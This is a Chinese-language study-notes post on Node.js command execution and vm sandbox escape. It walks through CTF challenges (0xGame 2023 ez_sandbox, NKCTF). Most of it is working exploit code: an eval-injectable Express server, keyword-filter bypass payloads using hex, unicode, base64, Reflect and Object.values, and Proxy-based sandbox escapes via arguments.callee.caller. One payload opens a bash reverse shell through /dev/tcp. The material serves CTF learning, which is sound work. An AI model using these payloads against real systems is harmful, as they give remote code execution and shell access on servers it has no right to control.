Node.js之沙盒专题

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Node.js一直是薄弱项，今天特意整理一下，基本上是各个大佬写的大杂烩，仅用于学习记录~~~

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为：execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件，这里列一下除fork外其他函数的用法。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件，在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn

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2.模块利用----Eval

知道了模块使用可以执行命令，那怎么样触发模块呢？

构造这么一个服务端来使用复现

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

难度一 原始模型

#传参
require("child_process").execSync("curl 127.0.0.1:1234")
#是能够正常执行的。

这是最为简便的，如果升级过滤exec呢

难度二 字符伪装

改为这样

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

当我再用原来的就会显示forbidden，这种该如何绕过?

方法一: 16进制编码

原因是在nodejs中，如果在字符串内用16进制，和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

console.log("a"==="\x61");
// true

但是在上面正则匹配的时候，16进制却不会转化成字符，所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过

方法二: unicode编码

思路跟上面是类似的，由于JavaScript允许直接用码点表示Unicode字符，写法是"反斜杠+u+码点"，所以我们也可以用一个字符的unicode形式来代替对应字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

方法三 加号拼接

原理很简单，加号在js中可以用来连接字符，所以可以这样

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

加号必须url编码，否则无效

方法四 模板字符串（用的很多)

相关内容可以参考MDN，这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

require('child_process')[`\${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

方法五 concat连接

利用js中的concat函数连接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

方法六 base64编码

这种应该是比较常规的思路了。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这个的不同就是eval里面再套了eval进行先执行base解码

js内置语法绕过

前面的都是符号里面的字符进行过滤，如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做?

Reflect

在js中，需要使用Reflect这个关键字来实现反射调用函数的方式。

譬如要得到eval函数，可以首先通过

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

即可得到eval

拿到eval之后，就可以常规思路rce了

这里貌似还有一个require的绕过代替

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里还有个小trick，如果过滤了eval关键字，可以用includes('eva')来搜索eval函数，也可以用startswith('eva')来搜索

Obejct.keys

实际上通过require导入的模块是一个Object，所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法，再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

[]绕过

获取到eval的方式是通过global数组，其中用到了中括号[]，假如中括号被过滤，可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值，类似于target[name]。

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

例题：

如果waf是这样

var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

先写出原型，最好是用特定字符最少的base64编码

这里单引号可以用反引号代替

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

特意去尝试了发现基本的都能这么代替。

这里过滤了base64，可以直接换成

`base`.concat(64)

过滤掉了Buffer，可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法，可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于，关键字还过滤了中括号，这一点简单，再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

payload

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于，这样传过去后，eval只会进行解码，而不是执行解码后的内容，所以需要再套一层eval，因为过滤了eval关键字，同样考虑用反射获取到eval函数。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

当然，由于前面提到的16进制和字符串的特性，也可以拿到eval后直接传16进制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

3.沙盒逃逸

经过这些大概有了相对了解，但这只是Node.js的模块执行，关于沙盒逃逸到底是怎么回事。
比较清楚的沙盒概念

例题一

[0xGame 2023]week2 ez_sandbox

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}
app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

可以看出有一个原型污染role为admin进行。再看关键部分

let code = req.body.code
        let sandbox = Object.create(null) //此时this为null，所以得利用arguments.callee.caller
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)//沙盒运行
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }

在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message

属性 (即 e.message)

通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter

使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作，也没有可以用来进行恶意重写的函数，所以需要用Proxy来劫持属性

原payload

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

关于c变量的构造

或者

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
	const c = arguments.callee.caller
	const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
	return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

例题二:

[NKCTF]全世界最简单的CTF

源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
 
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
 
app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})
 
 
function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}
 
app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})
 
app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})
 
 
app.listen(3000, ()=>{
    console.log("listen on 3000");
})

沙盒

  let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }

常规思路:发现Object.create(null)

想到了cc用arguments.callee.caller

先写出原型

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

找到waf

   let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;

发现我们需要绕过

process绕过

方法一

return process==String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

方法二

发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();

exec绕过

上面介绍过用reflect映射方法绕过

Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))

这里a变量要定义先，a就是function，function又由外部作用域的proto来获得

所以

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller; //外部作用域
            const p = (cc.constructor.constructor('return global'))(); //function函数
            const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
            return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");//因为没有[]，用reflect来进行拼接
        }
    })

上面这种是根据过滤的强行绕过，比较复杂，还有另外的解
方法二

找到最简单的一种
方法三

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

预期解

Node.js的绕过还是很多样，但实际运用复杂程度很高，大佬的绕过姿势太多了...

后面由例题会一一归纳(仅用于记录学习)